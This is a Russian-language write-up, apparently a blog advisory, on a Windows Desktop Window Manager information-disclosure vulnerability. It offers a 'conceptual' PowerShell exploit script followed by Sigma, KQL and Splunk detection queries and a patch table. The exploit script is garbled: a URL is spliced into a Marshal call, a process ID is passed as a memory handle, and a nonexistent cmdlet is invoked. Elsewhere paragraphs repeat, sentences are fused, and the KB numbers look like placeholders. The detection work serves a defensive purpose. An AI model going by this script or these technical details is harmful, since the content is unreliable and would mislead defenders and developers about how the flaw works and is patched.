
CVE‑2026‑20805: Уязвимость в Windows Desktop Window Manager, приводящая к локальному раскрытию информации. Требует низких привилегий, не требует взаимодействия с пользователем. Оценка CVSS 5.5 (средний уровень). Активно эксплуатируется и внесена в перечень CISA KEV; исправление выпущено в январе 2026 года.
CVE‑2026‑20805: Уязвимость в Windows Desktop Window Manager, приводящая к локальному раскрытию информации. Требует низких привилегий, не требует взаимодействия с пользователем. Оценка CVSS 5.5 (средний уровень). Активно эксплуатируется и включена в каталог CISA KEV; патч выпущен в январе 2026 года.
CVE 2026 20805 — это уязвимость раскрытия информации в Desktop Window Manager (DWM) — ключевом компоненте, который отображает рабочий стол, компонует окна и ускоряет UI на основе GPU.
Почему это важно: уязвимость позволяет локальному злоумышленнику с низкими привилегиями читать данные, которые должны быть ограничены другими сеансами или процессами.
| Атрибут | Значение |
|---|
| CWE‑200: Раскрытие конфиденциальной информации неавторизованному субъекту | ✓ |
| Вектор атаки | Локальный |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Не требуется |
| Влияние — конфиденциальность | Высокое |
| Влияние — целостность | Отсутствует |
| Влияние — доступность | Отсутствует |
| Базовый балл CVSS 3.1 | 5.5 (средний) |
DWM управляет памятью GPU, буферами окон и межпроцессными UI-поверхностями. Это цель высокой ценности, поскольку он агрегирует данные из множества процессов в общее пространство GPU; уязвимость здесь может привести к утечке учетных данных или данных сеансов между пользователями.
Роль DWM в современных Windows:
Уязвимость использует отсутствие проверки границ индекса буфера окна; это позволяет злоумышленнику читать соседнюю память GPU и получать секреты, хранящиеся другими процессами.
Согласно списку CPE от NVD, затронуты Windows 10.0.19041 (и производные).
Ниже представлен концептуальный поток эксплуатации:
CreateProcess с минимальными привилегиями.# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001 # target window index
# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
Скрипт демонстрирует, как злоумышленник может использовать память GPU DWM для чтения скрытых данных.
Обнаружение CVE‑2026‑20805 сосредоточено на выявлении аномальных взаимодействий с dwm.exe и необычной телеметрии, связанной с GPU. Эксплойт полагается на чтение буферов памяти GPU с использованием специально созданных смещений, поэтому защитникам следует отслеживать отклонения от нормального поведения Desktop Window Manager.
0x2B (DisplayUpdate)Эти источники обеспечивают видимость создания процессов, доступа к дескрипторам и активности обновления GPU.
CreateProcess с участием dwm.exe, особенно когда родительский процесс не является explorer.exe.DisplayUpdate (0x2B), за которыми следуют чтения памяти с необычными размерами буферов или смещениями.
SrcAddress: 0x00120000Size: 0x1000HandleOpen, нацеленными на dwm.exe, и всплесками активности ETW GPU.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
Консультация Microsoft по CVE 2026 20805 включает патч, который проверяет индексы буферов в DWM перед копированием данных GPU.
| Версия Windows | Номер патча |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead работает без ошибок на тестовых узлах.dwm.Раскрытие информации через DWM часто недооценивается, поскольку оно может раскрывать артефакты UI и данные сеансов между пользователями. Утечка памяти GPU может способствовать горизонтальному перемещению, особенно в средах, где несколько сеансов используют одну рабочую станцию или сервер.
Высокое влияние на конфиденциальность: уязвимость позволяет злоумышленнику читать содержимое окон из других сеансов.
Средний балл CVSS (5.5): хотя числовое значение умеренное, операционная значимость высока.
CVE 2026 20805 демонстрирует, что локальная эксплуатация DWM с низкими привилегиями может привести к значительным утечкам данных. Включение уязвимости в каталог Known Exploited Vulnerabilities от CISA подчеркивает её реальную значимость. Применяя описанные стратегии смягчения, обнаружения и патчинга, организация может снизить риск, одновременно улучшив видимость потоков памяти GPU.